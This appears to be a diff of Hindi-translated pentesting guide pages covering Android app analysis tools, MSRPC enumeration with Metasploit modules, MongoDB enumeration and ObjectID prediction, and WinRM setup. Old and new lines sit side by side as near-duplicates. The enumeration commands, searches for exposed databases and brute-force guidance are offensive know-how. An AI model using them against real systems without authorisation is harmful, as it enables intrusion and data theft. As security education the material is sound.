### **पृष्ठभूमि छवियाँ**
जब आप एक एप्लिकेशन को पृष्ठभूमि में रखते हैं, तो Android **एप्लिकेशन का एक स्नैपशॉट** संग्रहीत करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह ऐप से पहले छवि लोड करना शुरू कर दे ताकि ऐसा लगे कि ऐप तेजी से लोड हुआ है।
जब आप एक एप्लिकेशन को पृष्ठभूमि में रखते हैं, तो Android **एप्लिकेशन का एक स्नैपशॉट** संग्रहीत करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर दे ताकि ऐसा लगे कि एप्लिकेशन तेजी से लोड हुआ है।
हालांकि, यदि इस स्नैपशॉट में **संवेदनशील जानकारी** है, तो स्नैपशॉट तक पहुंच रखने वाला कोई व्यक्ति उस जानकारी को **चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए आपको रूट की आवश्यकता है)।
हालांकि, यदि इस स्नैपशॉट में **संवेदनशील जानकारी** है, तो स्नैपशॉट तक पहुँच रखने वाला कोई भी व्यक्ति उस जानकारी को **चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए आपको रूट की आवश्यकता है)।
स्नैपशॉट आमतौर पर यहाँ संग्रहीत होते हैं: **`/data/system_ce/0/snapshots`**
Android एक तरीका प्रदान करता है **FLAG\_SECURE** लेआउट पैरामीटर सेट करके स्क्रीनशॉट कैप्चर को **रोकने** के लिए। इस ध्वज का उपयोग करके, विंडो की सामग्री को सुरक्षित के रूप में माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या असुरक्षित डिस्प्ले पर नहीं देखी जा सकती।
Android एक तरीका प्रदान करता है **FLAG\_SECURE** लेआउट पैरामीटर सेट करके स्क्रीनशॉट कैप्चर को **रोकने** के लिए। इस ध्वज का उपयोग करके, विंडो की सामग्री को सुरक्षित माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या असुरक्षित डिस्प्ले पर नहीं देखी जा सकती।
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -563,16 +563,16 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
संभवतः आप इस प्रकार की कमजोरियों के बारे में वेब से जानते हैं। आपको Android एप्लिकेशन में इन कमजोरियों के प्रति विशेष रूप से सतर्क रहना चाहिए:
* **SQL Injection:** गतिशील प्रश्नों या सामग्री-प्रदाताओं के साथ काम करते समय सुनिश्चित करें कि आप पैरामीटरयुक्त प्रश्नों का उपयोग कर रहे हैं।
* **JavaScript Injection (XSS):** सुनिश्चित करें कि किसी भी WebViews के लिए JavaScript और प्लगइन समर्थन बंद है (डिफ़ॉल्ट रूप से बंद)। [यहाँ अधिक जानकारी](webview-attacks.md#javascript-enabled)।
* **JavaScript Injection (XSS):** सुनिश्चित करें कि किसी भी WebViews के लिए JavaScript और Plugin समर्थन बंद है (डिफ़ॉल्ट रूप से बंद)। [यहाँ अधिक जानकारी](webview-attacks.md#javascript-enabled)।
* **Local File Inclusion:** WebViews को फ़ाइल प्रणाली तक पहुँच बंद होनी चाहिए (डिफ़ॉल्ट रूप से सक्षम) - `(webview.getSettings().setAllowFileAccess(false);)`। [यहाँ अधिक जानकारी](webview-attacks.md#javascript-enabled)।
* **Eternal cookies**: कई मामलों में जब Android एप्लिकेशन सत्र समाप्त करता है, तो कुकी को रद्द नहीं किया जाता है या इसे डिस्क पर भी सहेजा जा सकता है।
* [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
अनुभवी हैकरों और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों!
अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों!
**Hacking Insights**\
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हों
@ -583,7 +583,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
**Latest Announcements**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) और आज ही शीर्ष हैकरों के साथ सहयोग करना शुरू करें!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
## Automatic Analysis
@ -593,7 +593,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
![](<../../.gitbook/assets/image (866).png>)
**Vulnerability assessment of the application** एक अच्छे वेब-आधारित फ्रंटेंड का उपयोग करके। आप गतिशील विश्लेषण भी कर सकते हैं (लेकिन आपको वातावरण तैयार करने की आवश्यकता है)।
**एप्लिकेशन का कमजोरियों का आकलन** एक अच्छे वेब-आधारित फ्रंटेंड का उपयोग करके। आप गतिशील विश्लेषण भी कर सकते हैं (लेकिन आपको वातावरण तैयार करने की आवश्यकता है)।
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -626,12 +626,12 @@ MobSF also allows you to load your own **Frida scripts** (to send the results of
Moreover, you have some Auxiliary Frida functionalities:
* **Enumerate Loaded Classes**: यह सभी लोड की गई कक्षाओं को प्रिंट करेगा
* **Capture Strings**: यह एप्लिकेशन का उपयोग करते समय सभी कैप्चर किए गए स्ट्रिंग्स को प्रिंट करेगा (बहुत शोर)
* **Capture String Comparisons**: यह बहुत उपयोगी हो सकता है। यह **दो स्ट्रिंग्स को दिखाएगा जो तुलना की जा रही हैं** और यदि परिणाम सत्य या असत्य था।
* **Enumerate Class Methods**: कक्षा का नाम डालें (जैसे "java.io.File") और यह कक्षा के सभी तरीकों को प्रिंट करेगा।
* **Search Class Pattern**: पैटर्न द्वारा कक्षाओं की खोज करें
* **Trace Class Methods**: **Trace** एक **पूरी कक्षा** (कक्षा के सभी तरीकों के इनपुट और आउटपुट देखें)। याद रखें कि डिफ़ॉल्ट रूप से MobSF कई दिलचस्प Android API तरीकों को ट्रेस करता है।
* **Enumerate Loaded Classes**: It will print all the loaded classes
* **Capture Strings**: It will print all the capture strings while using the application (super noisy)
* **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
* **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class.
* **Search Class Pattern**: Search classes by pattern
* **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods.
Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
@ -648,10 +648,10 @@ receivers
```
**HTTP उपकरण**
जब http ट्रैफ़िक कैप्चर किया जाता है, तो आप "**HTTP(S) ट्रैफ़िक**" के नीचे कैप्चर किए गए ट्रैफ़िक का एक भद्दा दृश्य देख सकते हैं या "**Start HTTPTools**" हरे बटन में एक बेहतर दृश्य देख सकते हैं। दूसरे विकल्प से, आप **कैप्चर किए गए अनुरोधों** को **प्रॉक्सी** जैसे Burp या Owasp ZAP पर **भेज** सकते हैं।\
इसके लिए, _Burp चालू करें -->_ _Intercept बंद करें --> MobSB HTTPTools में अनुरोध का चयन करें_ --> "**Send to Fuzzer**" पर दबाएं --> _प्रॉक्सी पता चुनें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))।
जब http ट्रैफ़िक कैप्चर किया जाता है, तो आप "**HTTP(S) ट्रैफ़िक**" के नीचे कैप्चर किए गए ट्रैफ़िक का एक भद्दा दृश्य देख सकते हैं या "**स्टार्ट HTTPTools**" हरे बटन में एक बेहतर दृश्य देख सकते हैं। दूसरे विकल्प से, आप **कैप्चर किए गए अनुरोधों** को **प्रॉक्सी** जैसे Burp या Owasp ZAP पर **भेज** सकते हैं।\
इसके लिए, _Burp चालू करें -->_ _Intercept बंद करें --> MobSB HTTPTools में अनुरोध का चयन करें_ --> "**Fuzzer पर भेजें**" दबाएं --> _प्रॉक्सी पते का चयन करें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))।
एक बार जब आप MobSF के साथ गतिशील विश्लेषण समाप्त कर लेते हैं, तो आप "**Start Web API Fuzzer**" पर दबा सकते हैं ताकि **http अनुरोधों को फज़** किया जा सके और कमजोरियों की तलाश की जा सके
एक बार जब आप MobSF के साथ गतिशील विश्लेषण समाप्त कर लेते हैं, तो आप "**स्टार्ट वेब API फज़्ज़र**" पर दबा सकते हैं ताकि **http अनुरोधों को फज़्ज़ करें** और कमजोरियों की तलाश करें
{% hint style="info" %}
MobSF के साथ गतिशील विश्लेषण करने के बाद प्रॉक्सी सेटिंग्स गलत हो सकती हैं और आप उन्हें GUI से ठीक नहीं कर पाएंगे। आप प्रॉक्सी सेटिंग्स को ठीक करने के लिए:
@ -673,7 +673,7 @@ adb shell settings put global http_proxy :0
### [Qark](https://github.com/linkedin/qark)
यह उपकरण कई **सुरक्षा संबंधित Android एप्लिकेशन कमजोरियों** की खोज के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **पैकेज्ड APKs** में। यह उपकरण **"Proof-of-Concept" तैनात करने योग्य APK** और **ADB कमांड** बनाने में भी **सक्षम है**, ताकि कुछ खोजी गई कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण किया जा सके। Drozer की तरह, परीक्षण उपकरण को रूट करने की आवश्यकता नहीं है।
यह उपकरण कई **सुरक्षा संबंधित Android एप्लिकेशन कमजोरियों** की खोज के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **पैकेज्ड APKs** में। यह उपकरण **"Proof-of-Concept" तैनात करने योग्य APK** और **ADB commands** बनाने में भी **सक्षम है**, ताकि कुछ खोजी गई कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण किया जा सके। Drozer की तरह, परीक्षण उपकरण को रूट करने की आवश्यकता नहीं है।
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -695,7 +695,7 @@ reverse-apk relative/path/to/APP.apk
SUPER एक कमांड-लाइन एप्लिकेशन है जिसे Windows, MacOS X और Linux में उपयोग किया जा सकता है, जो _.apk_ फ़ाइलों का विश्लेषण करता है ताकि कमजोरियों की खोज की जा सके। यह APKs को डिकंप्रेस करके और उन कमजोरियों का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके ऐसा करता है।
सभी नियम `rules.json` फ़ाइल में केंद्रित हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यक विश्लेषण के लिए अपने नियम बना सकता है।
सभी नियम `rules.json` फ़ाइल में केंद्रित हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यकताओं के अनुसार विश्लेषण करने के लिए अपने नियम बना सकता है।
नवीनतम बाइनरी [डाउनलोड पृष्ठ](https://superanalyzer.rocks/download.html) से डाउनलोड करें।
```
@ -707,7 +707,7 @@ super-analyzer {apk_file}
StaCoAn एक **क्रॉसप्लेटफ़ॉर्म** उपकरण है जो डेवलपर्स, बग बाउंटी शिकारियों और नैतिक हैकरों को मोबाइल अनुप्रयोगों पर [स्टैटिक कोड विश्लेषण](https://en.wikipedia.org/wiki/Static\_program\_analysis) करने में मदद करता है।
विचार यह है कि आप अपने मोबाइल अनुप्रयोग फ़ाइल (एक .apk या .ipa फ़ाइल) को StaCoAn अनुप्रयोग पर खींचते और छोड़ते हैं और यह आपके लिए एक दृश्य और पोर्टेबल रिपोर्ट उत्पन्न करेगा। आप सेटिंग्स और वर्डलिस्ट को समायोजित कर सकते हैं ताकि आपको एक अनुकूलित अनुभव मिल सके
विचार यह है कि आप अपने मोबाइल अनुप्रयोग फ़ाइल (एक .apk या .ipa फ़ाइल) को StaCoAn अनुप्रयोग पर खींचते और छोड़ते हैं और यह आपके लिए एक दृश्य और पोर्टेबल रिपोर्ट उत्पन्न करेगा। आप सेटिंग्स और वर्डलिस्ट को समायोजित कर सकते हैं ताकि एक अनुकूलित अनुभव प्राप्त कर सकें
डाउनलोड[ नवीनतम रिलीज़](https://github.com/vincentcox/StaCoAn/releases):
```
@ -727,7 +727,7 @@ androbugs.exe -f [APK file]
पता लगाने की प्रक्रिया एप्लिकेशन के Dalvik बाइटकोड का **स्थैतिक विश्लेषण** करके की जाती है, जिसे **Smali** के रूप में दर्शाया गया है, [`androguard`](https://github.com/androguard/androguard) पुस्तकालय के साथ।
यह उपकरण **"खराब" एप्लिकेशनों के सामान्य व्यवहार** की तलाश करता है जैसे: टेलीफोनी पहचानकर्ताओं का बहिर्वाह, ऑडियो/वीडियो प्रवाह का अवरोधन, PIM डेटा में संशोधन, मनमाने कोड का निष्पादन...
यह उपकरण **"खराब" एप्लिकेशनों के सामान्य व्यवहार** की तलाश करता है जैसे: टेलीफोनी पहचानकर्ताओं का बहिर्वाह, ऑडियो/वीडियो प्रवाह का अवरोधन, PIM डेटा में संशोधन, मनमाना कोड निष्पादन...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -735,12 +735,12 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../.gitbook/assets/image (595).png>)
**MARA** एक **M**ोबाइल **A**प्लिकेशन **R**िवर्स इंजीनियरिंग और **A**नालिसिस फ्रेमवर्क है। यह एक उपकरण है जो सामान्यतः उपयोग किए जाने वाले मोबाइल एप्लिकेशन रिवर्स इंजीनियरिंग और विश्लेषण उपकरणों को एकत्र करता है, ताकि OWASP मोबाइल सुरक्षा खतरों के खिलाफ मोबाइल एप्लिकेशनों का परीक्षण करने में सहायता मिल सके। इसका उद्देश्य इस कार्य को मोबाइल एप्लिकेशन डेवलपर्स और सुरक्षा पेशेवरों के लिए आसान और मित्रवत बनाना है।
**MARA** एक **M**ोबाइल **A**प्लिकेशन **R**िवर्स इंजीनियरिंग और **A**नालिसिस फ्रेमवर्क है। यह एक उपकरण है जो सामान्यतः उपयोग किए जाने वाले मोबाइल एप्लिकेशन रिवर्स इंजीनियरिंग और विश्लेषण उपकरणों को एक साथ लाता है, ताकि मोबाइल एप्लिकेशनों का परीक्षण OWASP मोबाइल सुरक्षा खतरों के खिलाफ किया जा सके। इसका उद्देश्य इस कार्य को मोबाइल एप्लिकेशन डेवलपर्स और सुरक्षा पेशेवरों के लिए आसान और मित्रवत बनाना है।
यह सक्षम है:
* विभिन्न उपकरणों का उपयोग करके Java और Smali कोड निकालना
* [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs\_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) का उपयोग करके APKs का विश्लेषण करना
* [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs\_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) का उपयोग करके APK का विश्लेषण करना
* regexps का उपयोग करके APK से निजी जानकारी निकालना।
* मैनिफेस्ट का विश्लेषण करना।
* [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) और [whatweb](https://github.com/urbanadventurer/WhatWeb) का उपयोग करके पाए गए डोमेन का विश्लेषण करना
@ -750,15 +750,15 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
मैलवेयर का पता लगाने के लिए उपयोगी: [https://koodous.com/](https://koodous.com)
## कोड को ओबफस्केट/डिओबफस्केट करना
## कोड को ओबफस्केटिंग/डिओबफस्केटिंग करना
ध्यान दें कि जिस सेवा और कॉन्फ़िगरेशन का आप उपयोग करते हैं, उसके आधार पर कोड को ओबफस्केट किया जा सकता है या नहीं। रहस्य ओबफस्केटेड हो सकते हैं या नहीं।
ध्यान दें कि जिस सेवा और कॉन्फ़िगरेशन का आप उपयोग करते हैं, उसके आधार पर कोड को ओबफस्केट करने के लिए। रहस्य ओबफस्केटेड हो सकते हैं या नहीं भी हो सकते हैं।
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
[विकिपीडिया](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) से: **ProGuard** एक ओपन-सोर्स कमांड-लाइन उपकरण है जो Java कोड को संकुचित, अनुकूलित और ओबफस्केट करता है। यह बाइटकोड को अनुकूलित करने के साथ-साथ अप्रयुक्त निर्देशों का पता लगाने और उन्हें हटाने में सक्षम है। ProGuard मुफ्त सॉफ़्टवेयर है और इसे GNU जनरल पब्लिक लाइसेंस, संस्करण 2 के तहत वितरित किया जाता है।
ProGuard Android SDK का हिस्सा के रूप में वितरित किया जाता है और रिलीज़ मोड में एप्लिकेशन बनाते समय चलता है।
ProGuard Android SDK का एक हिस्सा के रूप में वितरित किया जाता है और रिलीज़ मोड में एप्लिकेशन बनाने पर चलता है।
### [DexGuard](https://www.guardsquare.com/dexguard)
@ -769,7 +769,7 @@ APK को डिओबफस्केट करने के लिए चर
* एक संसाधन को InputStream के रूप में लोड करें;
* इसे डिक्रिप्ट करने के लिए FilterInputStream से विरासत में मिली एक क्लास को परिणाम दें;
* एक रिवर्सर के समय को बर्बाद करने के लिए कुछ बेकार ओबफस्केशन करें;
* DEX फ़ाइल प्राप्त करने के लिए डिक्रिप्टेड परिणाम को ZipInputStream में दें;
* डिक्रिप्टेड परिणाम को ZipInputStream में दें ताकि एक DEX फ़ाइल प्राप्त हो सके;
* अंततः `loadDex` विधि का उपयोग करके परिणामस्वरूप DEX को एक संसाधन के रूप में लोड करें।
### [DeGuard](http://apk-deguard.com)
@ -784,7 +784,7 @@ APK को डिओबफस्केट करने के लिए चर
### [APKiD](https://github.com/rednaga/APKiD)
APKiD आपको **यह जानकारी देता है कि एक APK कैसे बनाया गया था**। यह कई **कंपाइलर्स**, **पैकर**, **ओबफस्केटर्स**, और अन्य अजीब चीजों की पहचान करता है। यह [_PEiD_](https://www.aldeid.com/wiki/PEiD) Android के लिए है।
APKiD आपको **यह जानकारी देता है कि एक APK कैसे बनाई गई थी**। यह कई **कंपाइलर्स**, **पैकर**, **ओबफस्केटर्स**, और अन्य अजीब चीजों की पहचान करता है। यह [_PEiD_](https://www.aldeid.com/wiki/PEiD) Android के लिए है।
### मैनुअल
@ -810,7 +810,7 @@ AndroL4b एक Android सुरक्षा वर्चुअल मशीन
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -44,9 +44,9 @@ RPC एंडपॉइंट मैपर को TCP और UDP पोर्ट
![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png)
## **प्रदर्शित RPC सेवाओं की पहचान करना**
## **खुले RPC सेवाओं की पहचान करना**
TCP, UDP, HTTP, और SMB के माध्यम से RPC सेवाओं का प्रदर्शन RPC लोकेटर सेवा और व्यक्तिगत एंडपॉइंट्स को क्वेरी करके निर्धारित किया जा सकता है। rpcdump जैसे उपकरण अद्वितीय RPC सेवाओं की पहचान करने में मदद करते हैं, जिन्हें **IFID** मानों द्वारा दर्शाया जाता है, सेवा विवरण और संचार बाइंडिंग को प्रकट करते हैं:
TCP, UDP, HTTP, और SMB के माध्यम से RPC सेवाओं का खुलापन RPC लोकेटर सेवा और व्यक्तिगत एंडपॉइंट्स को क्वेरी करके निर्धारित किया जा सकता है। rpcdump जैसे उपकरण अद्वितीय RPC सेवाओं की पहचान करने में मदद करते हैं, जिन्हें **IFID** मानों द्वारा दर्शाया जाता है, सेवा विवरण और संचार बाइंडिंग्स को प्रकट करते हैं:
```
D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
@ -54,7 +54,7 @@ Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]
```
RPC लोकेटर सेवा तक पहुँच विशेष प्रोटोकॉल के माध्यम से सक्षम है: ncacn\_ip\_tcp और ncadg\_ip\_udp पोर्ट 135 के माध्यम से पहुँच के लिए, SMB कनेक्शनों के लिए ncacn\_np, और वेब-आधारित RPC संचार के लिए ncacn\_http। निम्नलिखित कमांड Metasploit मॉड्यूल के उपयोग को दर्शाते हैं ताकि MSRPC सेवाओं का ऑडिट और इंटरैक्ट किया जा सके, मुख्य रूप से पोर्ट 135 पर ध्यान केंद्रित करते हुए:
RPC लोकेटर सेवा तक पहुँच विशेष प्रोटोकॉल के माध्यम से सक्षम है: ncacn\_ip\_tcp और ncadg\_ip\_udp पोर्ट 135 के माध्यम से पहुँच के लिए, SMB कनेक्शनों के लिए ncacn\_np, और वेब-आधारित RPC संचार के लिए ncacn\_http। निम्नलिखित कमांड MSRPC सेवाओं का ऑडिट और इंटरैक्ट करने के लिए Metasploit मॉड्यूल के उपयोग का उदाहरण प्रस्तुत करते हैं, मुख्य रूप से पोर्ट 135 पर ध्यान केंद्रित करते हुए:
```bash
use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
@ -117,7 +117,7 @@ The **rpcdump.exe** from [rpctools](https://resources.oreilly.com/examples/97805
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## Basic Information
**MongoDB** एक **ओपन सोर्स** डेटाबेस प्रबंधन प्रणाली है जो विभिन्न प्रकार के डेटा को संभालने के लिए **डॉक्यूमेंट-ओरिएंटेड डेटाबेस मॉडल** का उपयोग करती है। यह बड़े डेटा एनालिटिक्स और सामग्री प्रबंधन जैसे अनुप्रयोगों में असंरचित या अर्ध-संरचित डेटा प्रबंधित करने के लिए लचीलापन और स्केलेबिलिटी प्रदान करती है**डिफ़ॉल्ट पोर्ट:** 27017, 27018
**MongoDB** एक **ओपन सोर्स** डेटाबेस प्रबंधन प्रणाली है जो **डॉक्यूमेंट-ओरिएंटेड डेटाबेस मॉडल** का उपयोग करती है ताकि विभिन्न प्रकार के डेटा को संभाला जा सके। यह अनियोजित या अर्ध-निर्धारित डेटा को प्रबंधित करने के लिए लचीलापन और स्केलेबिलिटी प्रदान करता है, जैसे कि बड़े डेटा विश्लेषण और सामग्री प्रबंधन में**डिफ़ॉल्ट पोर्ट:** 27017, 27018
```
PORT STATE SERVICE VERSION
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
@ -72,7 +72,7 @@ nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mo
* पूर्ण रूप से खुले mongodb सर्वरों के लिए खोजें: `"mongodb server information" -"partially enabled"`
* केवल आंशिक रूप से प्रमाणीकरण सक्षम करें: `"mongodb server information" "partially enabled"`
## लॉगिन
## Login
डिफ़ॉल्ट रूप से mongo पासवर्ड की आवश्यकता नहीं है।\
**Admin** एक सामान्य mongo डेटाबेस है।
@ -101,14 +101,14 @@ Mongo Object IDs **12-बाइट हेक्साडेसिमल** स्
![http://techidiocy.com/\_id-objectid-in-mongodb/](../.gitbook/assets/id-and-ObjectIds-in-MongoDB.png)
उदाहरण के लिए, यहाँ एक वास्तविक Object ID है जो एक एप्लिकेशन द्वारा लौटाई गई है: 5f2459ac9fa6dc2500314019
उदाहरण के लिए, यहाँ एक वास्तविक Object ID है जो एक एप्लिकेशन द्वारा लौटाया गया है: 5f2459ac9fa6dc2500314019
1. 5f2459ac: 1596217772 दशमलव में = शुक्रवार, 31 जुलाई 2020 17:49:32
2. 9fa6dc: मशीन पहचानकर्ता
3. 2500: प्रक्रिया ID
4. 314019: एक वृद्धि काउंटर
उपरोक्त तत्वों में, मशीन पहचानकर्ता तब तक समान रहेगा जब तक डेटाबेस उसी भौतिक/वर्चुअल मशीन पर चल रहा है। प्रक्रिया ID केवल तभी बदलेगी जब MongoDB प्रक्रिया को पुनः प्रारंभ किया जाएगा। टाइमस्टैम्प हर सेकंड अपडेट होगा। केवल चुनौती Object IDs का अनुमान लगाने में काउंटर और टाइमस्टैम्प मानों को सरलता से बढ़ाना है, यह तथ्य है कि Mongo DB सिस्टम स्तर पर Object IDs उत्पन्न करता है और असाइन करता है।
उपरोक्त तत्वों में, मशीन पहचानकर्ता तब तक समान रहेगा जब तक डेटाबेस उसी भौतिक/वर्चुअल मशीन पर चल रहा है। प्रक्रिया ID केवल त बदलेगी जब MongoDB प्रक्रिया को पुनः प्रारंभ किया जाएगा। टाइमस्टैम्प हर सेकंड अपडेट होगा। केवल चुनौती Object IDs का अनुमान लगाने में काउंटर और टाइमस्टैम्प मानों को सरलता से बढ़ाना है, यह तथ्य है कि Mongo DB सिस्टम स्तर पर Object IDs उत्पन्न करता है और असाइन करता है।
उपकरण [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), एक प्रारंभिक Object ID (आप एक खाता बना सकते हैं और एक प्रारंभिक ID प्राप्त कर सकते हैं) दिया गया, यह लगभग 1000 संभावित Object IDs वापस भेजता है जो संभवतः अगले ऑब्जेक्ट्स को असाइन किए जा सकते थे, इसलिए आपको बस उन्हें ब्रूटफोर्स करना है।
@ -118,7 +118,7 @@ Mongo Object IDs **12-बाइट हेक्साडेसिमल** स्
***
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -43,12 +43,12 @@ Stay informed with the newest bug bounties launching and crucial platform update
### **WinRM सत्र शुरू करना**
WinRM के लिए PowerShell को कॉन्फ़िगर करने के लिए, Microsoft का `Enable-PSRemoting` cmdlet कार्य में आता है, जो कंप्यूटर को दूरस्थ PowerShell आदेश स्वीकार करने के लिए सेट करता है। उच्च स्तर की PowerShell पहुंच के साथ, इस कार्यक्षमता को सक्षम करने और किसी भी होस्ट को विश्वसनीय के रूप में नामित करने के लिए निम्नलिखित आदेश निष्पादित किए जा सकते हैं:
PowerShell को WinRM के लिए कॉन्फ़िगर करने के लिए, Microsoft का `Enable-PSRemoting` cmdlet का में आता है, जो कंप्यूटर को दूरस्थ PowerShell आदेश स्वीकार करने के लिए सेट करता है। उच्च स्तर की PowerShell पहुंच के साथ, इस कार्यक्षमता को सक्षम करने और किसी भी होस्ट को विश्वसनीय के रूप में नामित करने के लिए निम्नलिखित आदेश निष्पादित किए जा सकते हैं:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
यह दृष्टिकोण `trustedhosts` कॉन्फ़िगरेशन में एक वाइल्डकार्ड जोड़ने से संबंधित है, जो इसके प्रभावों के कारण सावधानीपूर्वक विचार की आवश्यकता है। यह भी नोट किया गया है कि हमलावर की मशीन पर नेटवर्क प्रकार को "Public" से "Work" में बदलना आवश्यक हो सकता है।
यह दृष्टिकोण `trustedhosts` कॉन्फ़िगरेशन में एक वाइल्डकार्ड जोड़ने से संबंधित है, यह एक कदम है जिसे इसके प्रभावों के कारण सावधानीपूर्वक विचार करने की आवश्यकता है। यह भी नोट किया गया है कि हमलावर की मशीन पर नेटवर्क प्रकार को "Public" से "Work" में बदलना आवश्यक हो सकता है।
